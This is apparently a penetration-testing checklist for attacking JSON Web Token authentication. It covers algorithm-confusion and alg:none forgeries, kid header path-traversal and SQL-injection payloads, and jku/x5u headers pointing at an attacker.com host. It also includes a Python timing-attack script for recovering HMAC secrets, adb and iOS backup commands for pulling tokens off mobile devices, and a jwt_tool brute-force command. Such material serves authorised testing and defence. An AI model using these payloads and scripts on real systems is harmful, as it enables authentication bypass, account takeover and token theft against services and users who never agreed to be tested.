Overview
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
Quick Reference: Misconfigurations to Check
- Algorithm set to
none— signature verification bypassed entirely - Algorithm switching between
RSAandHMAC(confusion attack) - Weak or guessable HMAC secret (brute-forceable)
kid,jku,jwk,x5uheader parameters accepted without validation- Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
Mechanisms
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm | Type | Notes |
|---|---|---|
| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
| ES256/384/512 | Asymmetric ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | Asymmetric | |
| none | Unsigned | Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
typ/cty - JWKS retrieval: SSRF via
jku/x5u, insecure TLS, poisoned key caching,kidcollisions - Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
Hunt: Identifying JWT Usage
- Check
Authorization: Bearer <token>headers in all requests - Look for cookies containing JWT structures (
eyJ...) - Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any
kid,jku,jwk,x5ufields in the header — these are attack surfaces
Vulnerability Map
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
Vulnerabilities
Algorithm Vulnerabilities
- alg:none — Some libraries disable signature validation when
algisnoneor a case variant (None,NONE,nOnE) - Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
algto HS256; attacker re-signs token with the public key - Key ID (
kid) Manipulation — Exploitingkidto load wrong keys or inject file paths / SQL; enforce strict lookups
Signature Vulnerabilities
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
Implementation Issues
- Missing Claims Validation —
exp,nbf,aud,issnot verified - Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
Header Injection Attacks
- JWK Injection — Supply a custom attacker-controlled public key via the
jwkheader - JKU Manipulation — Point
jku(JWK Set URL) to attacker-controlled JWKS endpoint - x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via
kidcollisions or response header manipulation critHeader Abuse — Server ignores unknown critical parameters, enabling bypass
Information Disclosure
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable; location/data/data/<package>/shared_prefs/- Keystore extraction: root device or exploit app
- Backup extraction:
adb backup -f backup.ab <package>(ifallowBackup=true) - Tools: Frida, objection, MobSF
iOS:
- Keychain: Check
kSecAttrAccessible—kSecAttrAccessibleAlwaysis insecure - iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
AsyncStoragestored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Timing Attacks on HMAC
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
JWT in URL Parameters
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via
Refererheader to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Manual Testing Steps
-
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature -
Test
noneAlgorithm (try all case variants):{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C